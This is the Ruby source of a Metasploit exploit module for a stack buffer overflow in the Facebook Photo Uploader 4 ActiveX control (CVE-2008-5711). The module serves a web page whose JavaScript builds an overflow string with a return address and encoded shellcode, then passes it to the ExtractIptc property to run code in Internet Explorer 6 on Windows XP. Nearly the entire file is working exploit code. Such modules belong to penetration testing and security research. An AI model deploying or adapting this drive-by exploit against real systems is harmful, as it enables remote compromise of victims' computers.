Brent Cook
101 lines
2.9 KiB
Ruby
101 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Facebook Photo Uploader 4.
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By sending an overly long string to the "ExtractIptc()" property located
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in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
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arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2008-5711' ],
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[ 'OSVDB', '41073' ],
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[ 'BID', '27534' ],
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[ 'EDB', '5049' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08
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], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
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'DisclosureDate' => 'Jan 31 2008',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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filler = Rex::Text.to_unescape(rand_text_alpha(2))
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jmp = Rex::Text.to_unescape([0x969606eb].pack('V'))
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ret = Rex::Text.to_unescape([target.ret].pack('V'))
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sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
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<script language='javascript'>
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#{rand1} = unescape('#{filler}');
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while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
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#{rand2} = unescape('#{jmp}');
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#{rand3} = unescape('#{ret}');
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#{rand4} = unescape('#{sc}');
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#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
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#{vname}.ExtractIptc = #{strname};
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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